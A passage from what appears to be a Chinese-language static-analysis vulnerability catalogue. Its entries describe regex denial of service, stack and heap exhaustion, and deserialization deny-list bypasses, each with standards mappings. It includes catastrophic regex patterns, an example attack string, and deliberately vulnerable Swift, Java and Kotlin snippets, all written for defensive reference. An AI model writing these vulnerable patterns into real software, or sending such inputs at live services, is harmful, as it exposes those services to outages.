[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[43] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.ruby.denial_of_service_reqular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
示例 1:

(e+)+
([a-zA-Z]+)*
(e|ee)+

已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] IDS08-J. Sanitize untrusted data included in a regular expression CERT
[3] DOS-1: Beware of activities that may use disproportionate resources Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 624
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[11] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[21] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[46] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.scala.denial_of_service_regular_expression
Abstract
不受信数据被传递至应用程序并作为正则表达式使用。这会导致线程过度使用 CPU 资源。
Explanation
实施正则表达式评估程序及相关方法时存在漏洞,在评估包含自重复分组表达式的正则表达式时,该漏洞会导致线程挂起。此外,还可以利用任何包含相互重叠的替代子表达式的正则表达式。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。

示例 1:如果在已知易受攻击的代码中使用以下正则表达式,则可能发生拒绝服务攻击:

(e+)+
([a-zA-Z]+)*
(e|ee)+


依赖具有缺陷的正则表达式的问题代码示例如下:


let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}


大多数正则表达式解析器在计算正则表达式时都会构建 Nondeterministic Finite Automaton (NFA) 结构。在找到完全匹配之前,NFA 会尝试所有可能的匹配。在Example 1 中,如果攻击者提供了匹配字符串“eeeeZ”,则正则表达式解析器必须经过 16 次内部求值才能识别出匹配项。如果攻击者使用 16 个“e”(“eeeeeeeeeeeeeeeeZ”)作为匹配字符串,则正则表达式解析器必须进行 65536 (2^16) 次计算。通过增加连续的匹配字符数,攻击者可以轻易地消耗计算资源。已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
References
[1] Bryan Sullivan Regular Expression Denial of Service Attacks and Defenses
[2] Standards Mapping - Common Weakness Enumeration CWE ID 624
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[44] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.swift.denial_of_service_regular_expression
Abstract
攻击者可以输入经特殊技术处理的数据来修改或定义程序的数据结构实现,从而可能因堆栈耗尽而导致 Denial of Service 攻击。
Explanation
程序直接用于修改或定义其数据结构实现的用户指定数据可能容易受到堆栈耗尽的影响。例如,如果用户可以在递归处理的链接数据结构中创建循环链接,这可能会导致无限递归,从而导致堆栈耗尽。

示例 1:以下代码片段使用 Apache Log4j2 演示了此漏洞。

Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");

child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));

String toInfinity = child.toString();


该小程序允许用户将 childparent 的父标记设置为用户定义的标记。如果用户将 child 的父标记设置为 parent,将 parent 的父标记设置为 child,则会在标记数据结构中创建一个循环链接。在包含循环链接的数据结构上运行递归 toString 方法时,程序会抛出堆栈溢出异常并崩溃。这会因堆栈耗尽而导致 Denial of Service 攻击。
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 674
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.3 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service_stack_exhaustion
Abstract
将不受信任的数据附加到使用默认支持数组大小进行初始化的 StringBuilderStringBuffer 实例会导致 JVM 过度使用堆内存空间。
Explanation
将用户控制的数据附加到使用默认支持字符数组大小 (16) 进行初始化的 StringBuilderStringBuffer 实例,会导致应用程序在调整基础数组的大小以适应用户数据时占用大量堆内存。将数据附加到 StringBuilderStringBuffer 实例上时,实例将确定支持字符数组是否有足够的可用空间来存储数据。如果数据不合适,StringBuilderStringBuffer 实例将会创建新的数组,其容量至少为以前数组大小的两倍,而旧数组在进行回收之前,将继续留在堆中。攻击者可以利用此实现详细信息执行 Denial of Service (DoS) 攻击。

示例 1:用户控制的数据附加到使用默认构造函数进行初始化的 StringBuilder 实例。

...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] MSC05-J. Do not exhaust heap space CERT
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
desc.dataflow.java.denial_of_service_stringbuilder
Abstract
将不受信任的数据附加到使用默认支持数组大小进行初始化的 StringBuilderStringBuffer 实例会导致 JVM 过度使用堆内存空间。
Explanation
将用户控制的数据附加到使用默认支持字符数组大小 (16) 进行初始化的 StringBuilderStringBuffer 实例,会导致应用程序在调整基础数组的大小以适应用户数据时占用大量堆内存。将数据附加到 StringBuilderStringBuffer 实例上时,实例将确定支持字符数组是否有足够的可用空间来存储数据。如果数据不合适,StringBuilderStringBuffer 实例将会创建新的数组,其容量至少为以前数组大小的两倍,而旧数组在进行回收之前,将继续留在堆中。攻击者可以利用此实现详细信息执行 Denial of Service (DoS) 攻击。

示例 1:用户控制的数据附加到使用默认构造函数进行初始化的 StringBuilder 实例。

...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] MSC05-J. Do not exhaust heap space CERT
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-001310
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[5] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-5 Denial of Service Protection, SI-10 Information Input Validation
[6] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[7] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[8] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[9] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[21] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 754
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002400 CAT II, APSC-DV-002530 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
desc.dataflow.kotlin.denial_of_service_stringbuilder
Abstract
基于防止对已知错误类(拒绝列表)进行反序列化而执行的防御反序列化可能会允许攻击者绕过这种防护且使其失效。
Explanation
该应用程序实施了一种称为“前瞻反序列化”的防御性反序列化技术,使应用程序可以在实际反序列化类之前一窥其反序列化之后的结果。



新的小工具链、封装程序包或类可通过在其反序列化回调中执行嵌套反序列化来轻松绕过该拒绝列表。
References
[1] Fortify Software Security Research The perils of Java deserialization
[2] Fortify Application Defender
[3] Oracle Java Serialization
[4] IBM Look-ahead Java deserialization
[5] OWASP Deserialization of untrusted data
[6] Standards Mapping - Common Weakness Enumeration CWE ID 502
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [21] CWE ID 502
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [13] CWE ID 502
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [12] CWE ID 502
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [15] CWE ID 502
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [16] CWE ID 502
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements (L2 L3), 5.5.1 Deserialization Prevention Requirements (L1 L2 L3), 5.5.3 Deserialization Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
